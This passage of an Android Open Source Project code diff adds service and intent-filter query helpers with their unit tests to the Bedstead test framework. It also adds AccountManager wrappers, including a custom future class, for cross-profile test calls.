+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import android.app.Service;
+import android.content.IntentFilter;
+
+import com.android.queryable.Queryable;
+import com.android.queryable.info.ServiceInfo;
+
+/**
+ * Query for an {@link Service}.
+ *
+ * @param <E> Type of query.
+ */
+public interface ServiceQuery<E extends Queryable> extends Query<ServiceInfo>  {
+
+    /** Create a {@link ServiceQueryHelper}. */
+    static ServiceQuery<ServiceQuery<?>> service() {
+        return new ServiceQueryHelper<>();
+    }
+
+    /** Used to query the class name of a service. */
+    ClassQuery<E> serviceClass();
+
+    /** Query the intent-filters on an activity. */
+    SetQuery<E, IntentFilter, IntentFilterQuery<?>> intentFilters();
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ServiceQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ServiceQueryHelper.java
new file mode 100644
index 0000000..90e437c
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ServiceQueryHelper.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import android.content.IntentFilter;
+
+import com.android.queryable.Queryable;
+import com.android.queryable.info.ServiceInfo;
+
+/**
+ * Implementation of {@link ServiceQuery}.
+ *
+ * @param <E> Type of query.
+ */
+public final class ServiceQueryHelper<E extends Queryable> implements ServiceQuery<E> {
+
+    private final E mQuery;
+    private final ClassQueryHelper<E> mServiceClassQueryHelper;
+    private final SetQueryHelper<E, IntentFilter, IntentFilterQuery<?>>
+            mIntentFiltersQueryHelper;
+
+    ServiceQueryHelper() {
+        mQuery = (E) this;
+        mServiceClassQueryHelper = new ClassQueryHelper<>(mQuery);
+        mIntentFiltersQueryHelper = new SetQueryHelper<>(mQuery);
+    }
+
+    public ServiceQueryHelper(E query) {
+        mQuery = query;
+        mServiceClassQueryHelper = new ClassQueryHelper<>(query);
+        mIntentFiltersQueryHelper = new SetQueryHelper<>(query);
+    }
+
+    @Override
+    public ClassQuery<E> serviceClass() {
+        return mServiceClassQueryHelper;
+    }
+
+    @Override
+    public SetQuery<E, IntentFilter, IntentFilterQuery<?>> intentFilters() {
+        return mIntentFiltersQueryHelper;
+    }
+
+    @Override
+    public boolean matches(ServiceInfo value) {
+        return mServiceClassQueryHelper.matches(value)
+                && mIntentFiltersQueryHelper.matches(value.intentFilters());
+    }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        return Queryable.joinQueryStrings(
+                mServiceClassQueryHelper.describeQuery(fieldName + ".service"),
+                mIntentFiltersQueryHelper.describeQuery(fieldName + ".intentFilters")
+        );
+    }
+
+    /**
+     * Check if a {@link ServiceQueryHelper} matches the service represented by a
+     * {@link ServiceInfo}.
+     */
+    public static boolean matches(ServiceQueryHelper<?> serviceQueryHelper, ServiceInfo value) {
+        return serviceQueryHelper.matches(value);
+    }
+}
diff --git a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ActivityQueryHelperTest.java b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ActivityQueryHelperTest.java
index 9dfd5f4..55a6b99 100644
--- a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ActivityQueryHelperTest.java
+++ b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ActivityQueryHelperTest.java
@@ -16,9 +16,12 @@
 
 package com.android.queryable.queries;
 
+import static com.android.queryable.queries.IntentFilterQuery.intentFilter;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import android.app.Activity;
+import android.content.IntentFilter;
 
 import com.android.queryable.Queryable;
 import com.android.queryable.info.ActivityInfo;
@@ -27,6 +30,8 @@
 import org.junit.runner.RunWith;
 import org.junit.runners.JUnit4;
 
+import java.util.Set;
+
 @RunWith(JUnit4.class)
 public class ActivityQueryHelperTest {
 
@@ -36,6 +41,7 @@
 
     private static final String CLASS_1_CLASS_NAME = CLASS_1.getName();
 
+    private static final IntentFilter INTENT_FILTER_WITH_ACTION = new IntentFilter("action");
     private static final android.content.pm.ActivityInfo FRAMEWORK_ACTIVITY_INFO_1 =
             createActivityInfo(CLASS_1_CLASS_NAME, /* exported= */ false);
     private static final android.content.pm.ActivityInfo FRAMEWORK_ACTIVITY_INFO_2 =
@@ -54,6 +60,10 @@
     private static final ActivityInfo CLASS_1_ACTIVITY_INFO = ActivityInfo.builder(FRAMEWORK_ACTIVITY_INFO_1).build();
     private static final ActivityInfo EXPORTED_ACTIVITY_INFO = ActivityInfo.builder(EXPORTED_FRAMEWORK_ACTIVITY_INFO).build();
     private static final ActivityInfo CLASS_2_ACTIVITY_INFO = ActivityInfo.builder(FRAMEWORK_ACTIVITY_INFO_2).build();
+    private static final ActivityInfo INTENT_FILTER_ACTIVITY_INFO = ActivityInfo.builder()
+            .activityClass(CLASS_1_CLASS_NAME)
+            .intentFilters(Set.of(INTENT_FILTER_WITH_ACTION))
+            .build();
 
     @Test
     public void matches_noRestrictions_returnsTrue() {
@@ -99,4 +109,26 @@
         assertThat(activityQueryHelper.matches(EXPORTED_ACTIVITY_INFO)).isFalse();
     }
 
+    @Test
+    public void matches_intentFilters_matches_returnsTrue() {
+        ActivityQueryHelper<Queryable> activityQueryHelper = new ActivityQueryHelper<>(mQuery);
+
+        activityQueryHelper.intentFilters().contains(
+                intentFilter().actions().contains("action")
+        );
+
+        assertThat(activityQueryHelper.matches(INTENT_FILTER_ACTIVITY_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_intentFilters_doesNotMatch_returnsFalse() {
+        ActivityQueryHelper<Queryable> activityQueryHelper = new ActivityQueryHelper<>(mQuery);
+
+        activityQueryHelper.intentFilters().doesNotContain(
+                intentFilter().actions().contains("action")
+        );
+
+        assertThat(activityQueryHelper.matches(INTENT_FILTER_ACTIVITY_INFO)).isFalse();
+    }
+
 }
diff --git a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/IntentFilterQueryHelperTest.java b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/IntentFilterQueryHelperTest.java
new file mode 100644
index 0000000..7de4e8e
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/IntentFilterQueryHelperTest.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.IntentFilter;
+
+import com.android.queryable.Queryable;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.Set;
+
+@RunWith(JUnit4.class)
+public class IntentFilterQueryHelperTest {
+
+    private final Queryable mQuery = null;
+
+    private static final Set<String> ACTIONS = Set.of("action1", "action2", "action3");
+    private static final Set<String> CATEGORIES = Set.of("category1", "category2", "category3");
+
+    private static final IntentFilter ACTIONS_INTENT_FILTER = createIntentFilter(ACTIONS, Set.of());
+    private static final IntentFilter CATEGORIES_INTENT_FILTER =
+            createIntentFilter(Set.of(), CATEGORIES);
+
+    private static IntentFilter createIntentFilter(Set<String> actions, Set<String> categories) {
+        IntentFilter filter = new IntentFilter();
+
+        for (String action : actions) {
+            filter.addAction(action);
+        }
+        for (String category : categories) {
+            filter.addCategory(category);
+        }
+
+        return filter;
+    }
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        IntentFilterQueryHelper<Queryable> intentFilterQueryHelper =
+                new IntentFilterQueryHelper<>(mQuery);
+
+        assertThat(intentFilterQueryHelper.matches(ACTIONS_INTENT_FILTER)).isTrue();
+    }
+
+    @Test
+    public void matches_actionsRestriction_meetsRestriction_returnsTrue() {
+        IntentFilterQueryHelper<Queryable> intentFilterQueryHelper =
+                new IntentFilterQueryHelper<>(mQuery);
+
+        intentFilterQueryHelper.actions().contains("action1");
+
+        assertThat(intentFilterQueryHelper.matches(ACTIONS_INTENT_FILTER)).isTrue();
+    }
+
+    @Test
+    public void matches_actionsRestriction_doesNotMeetRestriction_returnsFalse() {
+        IntentFilterQueryHelper<Queryable> intentFilterQueryHelper =
+                new IntentFilterQueryHelper<>(mQuery);
+
+        intentFilterQueryHelper.actions().contains("action4");
+
+        assertThat(intentFilterQueryHelper.matches(ACTIONS_INTENT_FILTER)).isFalse();
+    }
+
+    @Test
+    public void matches_categoriesRestriction_meetsRestriction_returnsTrue() {
+        IntentFilterQueryHelper<Queryable> intentFilterQueryHelper =
+                new IntentFilterQueryHelper<>(mQuery);
+
+        intentFilterQueryHelper.categories().contains("category1");
+
+        assertThat(intentFilterQueryHelper.matches(CATEGORIES_INTENT_FILTER)).isTrue();
+    }
+
+    @Test
+    public void matches_categoriesRestriction_doesNotMeetRestriction_returnsFalse() {
+        IntentFilterQueryHelper<Queryable> intentFilterQueryHelper =
+                new IntentFilterQueryHelper<>(mQuery);
+
+        intentFilterQueryHelper.actions().contains("category4");
+
+        assertThat(intentFilterQueryHelper.matches(CATEGORIES_INTENT_FILTER)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ServiceQueryHelperTest.java b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ServiceQueryHelperTest.java
new file mode 100644
index 0000000..e1df33d
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ServiceQueryHelperTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import static com.android.queryable.queries.IntentFilterQuery.intentFilter;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Service;
+import android.content.IntentFilter;
+
+import com.android.queryable.Queryable;
+import com.android.queryable.info.ServiceInfo;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.Set;
+
+@RunWith(JUnit4.class)
+public class ServiceQueryHelperTest {
+
+    private final Queryable mQuery = null;
+
+    private static final Class<? extends Service> CLASS_1 = Service.class;
+
+
+    private static final String CLASS_1_CLASS_NAME = CLASS_1.getName();
+
+    private static final IntentFilter INTENT_FILTER_WITH_ACTION = new IntentFilter("action");
+
+    private static final android.content.pm.ServiceInfo FRAMEWORK_SERVICE_INFO_1 =
+            createServiceInfo(CLASS_1_CLASS_NAME);
+    private static final android.content.pm.ServiceInfo FRAMEWORK_SERVICE_INFO_2 =
+            createServiceInfo("different.class.name");
+
+    private static android.content.pm.ServiceInfo createServiceInfo(String name) {
+        android.content.pm.ServiceInfo serviceInfo = new android.content.pm.ServiceInfo();
+        serviceInfo.name = name;
+
+        return serviceInfo;
+    }
+
+    private static final ServiceInfo CLASS_1_SERVICE_INFO =
+            ServiceInfo.builder(FRAMEWORK_SERVICE_INFO_1).build();
+    private static final ServiceInfo CLASS_2_SERVICE_INFO =
+            ServiceInfo.builder(FRAMEWORK_SERVICE_INFO_2).build();
+    private static final ServiceInfo INTENT_FILTER_SERVICE_INFO = ServiceInfo.builder()
+            .serviceClass(CLASS_1_CLASS_NAME)
+            .intentFilters(Set.of(INTENT_FILTER_WITH_ACTION))
+            .build();
+
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        ServiceQueryHelper<Queryable> serviceQueryHelper = new ServiceQueryHelper<>(mQuery);
+
+        assertThat(serviceQueryHelper.matches(CLASS_1_SERVICE_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_serviceClass_doesMatch_returnsTrue() {
+        ServiceQueryHelper<Queryable> serviceQueryHelper = new ServiceQueryHelper<>(mQuery);
+
+        serviceQueryHelper.serviceClass().isSameClassAs(CLASS_1);
+
+        assertThat(serviceQueryHelper.matches(CLASS_1_SERVICE_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_serviceClass_doesNotMatch_returnsFalse() {
+        ServiceQueryHelper<Queryable> serviceQueryHelper = new ServiceQueryHelper<>(mQuery);
+
+        serviceQueryHelper.serviceClass().isSameClassAs(CLASS_1);
+
+        assertThat(serviceQueryHelper.matches(CLASS_2_SERVICE_INFO)).isFalse();
+    }
+
+    @Test
+    public void matches_intentFilters_matches_returnsTrue() {
+        ServiceQueryHelper<Queryable> serviceQueryHelper = new ServiceQueryHelper<>(mQuery);
+
+        serviceQueryHelper.intentFilters().contains(
+                intentFilter().actions().contains("action")
+        );
+
+        assertThat(serviceQueryHelper.matches(INTENT_FILTER_SERVICE_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_intentFilters_doesNotMatch_returnsFalse() {
+        ServiceQueryHelper<Queryable> serviceQueryHelper = new ServiceQueryHelper<>(mQuery);
+
+        serviceQueryHelper.intentFilters().contains(
+                intentFilter().actions().doesNotContain("action")
+        );
+
+        assertThat(serviceQueryHelper.matches(INTENT_FILTER_SERVICE_INFO)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/MethodSignature.java b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/MethodSignature.java
index 5fb7076..a1f950a 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/MethodSignature.java
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/MethodSignature.java
@@ -95,7 +95,9 @@
         String methodName = parts[0];
         string = parts[1];
         parts = string.split("\\)", 2);
-        List<TypeMirror> parameters = Arrays.stream(parts[0].split(","))
+        // Remove generic types as we don't need to care about them at this point
+        String parametersString = parts[0].replaceAll("<.*>", "");
+        List<TypeMirror> parameters = Arrays.stream(parametersString.split(","))
                 .map(String::trim)
                 .filter(t -> !t.isEmpty())
                 .map(t -> typeForString(t, types, elements))
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
index effe455..ba321d5 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
@@ -16,7 +16,6 @@
 
 package com.android.bedstead.remoteframeworkclasses.processor;
 
-
 import com.android.bedstead.remoteframeworkclasses.processor.annotations.RemoteFrameworkClasses;
 
 import com.google.android.enterprise.connectedapps.annotations.CrossUser;
@@ -78,7 +77,8 @@
             "android.os.UserManager",
             "android.content.pm.PackageManager",
             "android.content.pm.CrossProfileApps",
-            "android.content.pm.LauncherApps"
+            "android.content.pm.LauncherApps",
+            "android.accounts.AccountManager"
     };
 
     private static final String PARENT_PROFILE_INSTANCE =
@@ -263,7 +263,41 @@
 
             //Uses PackageInfo.SessionCallback
             "public void unregisterPackageInstallerSessionCallback("
-                    + "android.content.pm.PackageInstaller.SessionCallback)"
+                    + "android.content.pm.PackageInstaller.SessionCallback)",
+
+            // AccountManager
+
+            // Uses Activity
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> addAccount(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> finishSession(android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> editProperties(String, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthTokenByFeatures(String, String, String[], android.app.Activity, android.os.Bundle, android.os.Bundle, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> removeAccount(android.accounts.Account, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> startAddAccountSession(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> startUpdateCredentialsSession(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> updateCredentials(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> confirmCredentials(android.accounts.Account, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+
+            // Uses OnAccountsUpdateListener
+            "public void addOnAccountsUpdatedListener(android.accounts.OnAccountsUpdateListener, android.os.Handler, boolean)",
+            "public void addOnAccountsUpdatedListener(android.accounts.OnAccountsUpdateListener, android.os.Handler, boolean, String[])",
+            "public void removeOnAccountsUpdatedListener(android.accounts.OnAccountsUpdateListener)",
+
+            // Uses AccountManagerCallback
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> addAccount(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.os.Bundle hasFeatures(android.accounts.Account, String[], android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
+            "public android.os.Bundle isCredentialsUpdateSuggested(android.accounts.Account, String, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.accounts.Account[]> getAccountsByTypeAndFeatures(String, String[], android.accounts.AccountManagerCallback<android.accounts.Account[]>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<java.lang.Boolean> hasFeatures(android.accounts.Account, String[], android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
+            "public android.os.Bundle isCredentialsUpdateSuggested(android.accounts.AccountAuthenticatorResponse, android.accounts.Account, String) throws android.accounts.NetworkErrorException",
+            "public android.accounts.AccountManagerFuture<java.lang.Boolean> isCredentialsUpdateSuggested(android.accounts.Account, String, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<java.lang.Boolean> removeAccount(android.accounts.Account, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.accounts.Account> renameAccount(android.accounts.Account, @Size(min=1) String, android.accounts.AccountManagerCallback<android.accounts.Account>, android.os.Handler)"
     );
 
 
@@ -273,6 +307,10 @@
     private static final ClassName COMPONENT_NAME_CLASSNAME =
             ClassName.get("android.content", "ComponentName");
 
+    private static final ClassName ACCOUNT_MANAGE_FUTURE_WRAPPER_CLASSNAME =
+            ClassName.get(
+                    "com.android.bedstead.remoteframeworkclasses", "AccountManagerFutureWrapper");
+
     @Override
     public SourceVersion getSupportedSourceVersion() {
         return SourceVersion.latest();
@@ -366,7 +404,6 @@
                 TypeSpec.interfaceBuilder(className)
                         .addModifiers(Modifier.PUBLIC);
 
-
         classBuilder.addJavadoc("Public, test, and system interface for {@link $T}.\n\n",
                 frameworkClass);
         classBuilder.addJavadoc("<p>All methods are annotated {@link $T} for compatibility with the"
@@ -377,6 +414,8 @@
         classBuilder.addAnnotation(AnnotationSpec.builder(CrossUser.class)
                 .addMember("parcelableWrappers", "$T.class",
                         NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME)
+                .addMember("futureWrappers", "$T.class",
+                        ACCOUNT_MANAGE_FUTURE_WRAPPER_CLASSNAME)
                 .build());
 
         for (ExecutableElement method : methods) {
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/types/main/java/com/android/bedstead/remoteframeworkclasses/AccountManagerFutureWrapper.java b/common/device-side/bedstead/remoteframeworkclasses/src/types/main/java/com/android/bedstead/remoteframeworkclasses/AccountManagerFutureWrapper.java
new file mode 100644
index 0000000..cea8357
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/types/main/java/com/android/bedstead/remoteframeworkclasses/AccountManagerFutureWrapper.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.accounts.AccountManagerFuture;
+import android.accounts.AuthenticatorException;
+import android.accounts.OperationCanceledException;
+
+import com.google.android.enterprise.connectedapps.FutureWrapper;
+import com.google.android.enterprise.connectedapps.Profile;
+import com.google.android.enterprise.connectedapps.annotations.CustomFutureWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+import com.google.android.enterprise.connectedapps.internal.CrossProfileCallbackMultiMerger;
+import com.google.android.enterprise.connectedapps.internal.FutureResultWriter;
+
+import java.io.IOException;
+import java.util.Map;
+
+/**
+ * Future wrapper for {@link AccountManagerFuture}.
+ *
+ * @param <V> Wrapped future result
+ */
+@CustomFutureWrapper(originalType = AccountManagerFuture.class)
+public class AccountManagerFutureWrapper<V> extends FutureWrapper<V> {
+
+    private final SimpleAccountManagerFuture<V> mFuture = new SimpleAccountManagerFuture<>();
+
+    private AccountManagerFutureWrapper(Bundler bundler, BundlerType bundlerType) {
+        super(bundler, bundlerType);
+    }
+
+    /** Create a {@link AccountManagerFutureWrapper}. */
+    public static <V> AccountManagerFutureWrapper<V> create(
+            Bundler bundler, BundlerType bundlerType) {
+        return new AccountManagerFutureWrapper<>(bundler, bundlerType);
+    }
+
+    /** Write a result from an {@link AccountManagerFuture}. */
+    public static <V> void writeFutureResult(
+            AccountManagerFuture<V> future, FutureResultWriter<V> futureResultWriter) {
+        try {
+            futureResultWriter.onSuccess(future.getResult());
+        } catch (OperationCanceledException | IOException | AuthenticatorException e) {
+            futureResultWriter.onFailure(e);
+        }
+    }
+
+    /** Group multiple results from {@link AccountManagerFuture}. */
+    public static <E> AccountManagerFuture<Map<Profile, E>> groupResults(
+            Map<Profile, AccountManagerFuture<E>> results) {
+        SimpleAccountManagerFuture<Map<Profile, E>> m = new SimpleAccountManagerFuture<>();
+
+        CrossProfileCallbackMultiMerger<E> merger =
+                new CrossProfileCallbackMultiMerger<>(results.size(), m::setResult);
+        for (Map.Entry<Profile, AccountManagerFuture<E>> result : results.entrySet()) {
+            try {
+                merger.onResult(result.getKey(), result.getValue().getResult());
+            } catch (OperationCanceledException | IOException | AuthenticatorException e) {
+                merger.missingResult(result.getKey());
+            }
+        }
+        return m;
+    }
+
+    /** Get the wrapped future. */
+    public AccountManagerFuture<V> getFuture() {
+        return mFuture;
+    }
+
+    @Override
+    public void onResult(V result) {
+        mFuture.setResult(result);
+    }
+
+    @Override
+    public void onException(Throwable throwable) {
+        mFuture.setException(throwable);
+    }
+}
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/types/main/java/com/android/bedstead/remoteframeworkclasses/SimpleAccountManagerFuture.java b/common/device-side/bedstead/remoteframeworkclasses/src/types/main/java/com/android/bedstead/remoteframeworkclasses/SimpleAccountManagerFuture.java
new file mode 100644
index 0000000..0bbc47d
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/types/main/java/com/android/bedstead/remoteframeworkclasses/SimpleAccountManagerFuture.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.accounts.AccountManagerFuture;
+import android.accounts.AuthenticatorException;
+import android.accounts.OperationCanceledException;
+
+import java.io.IOException;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * A simple implementation of {@link AccountManagerFuture} for use with remote calls.
+ *
+ * @param <V> The wrapped future result.
+ */
+public final class SimpleAccountManagerFuture<V> implements AccountManagerFuture<V> {
+
+    private final CountDownLatch mIsDone = new CountDownLatch(1);
+    private final AtomicReference<Throwable> mException = new AtomicReference<>();
+    private final AtomicReference<V> mValue = new AtomicReference<>();
+
+    @Override
+    public boolean cancel(boolean mayInterruptIfRunning) {
+        // Remote calls cannot cancel futures
+        return false;
+    }
+
+    @Override
+    public boolean isCancelled() {
+        return false;
+    }
+
+    @Override
+    public boolean isDone() {
+        return mIsDone.getCount() < 1;
+    }
+
+    @Override
+    public V getResult() throws OperationCanceledException, IOException, AuthenticatorException {
+        try {
+            mIsDone.await();
+        } catch (InterruptedException e) {
+            throw new RuntimeException("Interrupted while waiting for result", e);
+        }
+
+        Throwable exception = mException.get();
+        if (exception == null) {
+            return mValue.get();
+        } else if (exception instanceof OperationCanceledException) {
+            throw (OperationCanceledException) exception;
+        } else if (exception instanceof IOException) {
+            throw (IOException)  exception;
+        } else if (exception instanceof AuthenticatorException) {
+            throw (AuthenticatorException) exception;
+        } else {
+            throw new RuntimeException("Unexpected exception type", exception);
+        }
+    }
+
+    /** Set the result of this future. */
+    public void setResult(V result) {
+        mValue.set(result);
+        mIsDone.countDown();
+    }
+
+    @Override
+    public V getResult(long timeout, TimeUnit unit)
+            throws OperationCanceledException, IOException, AuthenticatorException {
+        try {
+            mIsDone.await(timeout, unit);
+        } catch (InterruptedException e) {
+            throw new RuntimeException("Interrupted while waiting for result", e);
+        }
+
+        Throwable exception = mException.get();
+        if (exception == null) {
+            return mValue.get();
+        } else if (exception instanceof OperationCanceledException) {
+            throw (OperationCanceledException) exception;
+        } else if (exception instanceof IOException) {
+            throw (IOException)  exception;
+        } else if (exception instanceof AuthenticatorException) {
+            throw (AuthenticatorException) exception;
+        } else {
+            throw new RuntimeException("Unexpected exception type", exception);
+        }
+    }
+
+    /** Set an exception thrown by this future. */
+    public void setException(Throwable throwable) {
+        mException.set(throwable);
+        mIsDone.countDown();
+    }
+}
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppDetails.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppDetails.java
index 6aeb22c..71dab7b 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppDetails.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppDetails.java
@@ -19,6 +19,7 @@
 import android.os.Bundle;
 
 import com.android.queryable.info.ActivityInfo;
+import com.android.queryable.info.ServiceInfo;
 
 import java.util.HashSet;
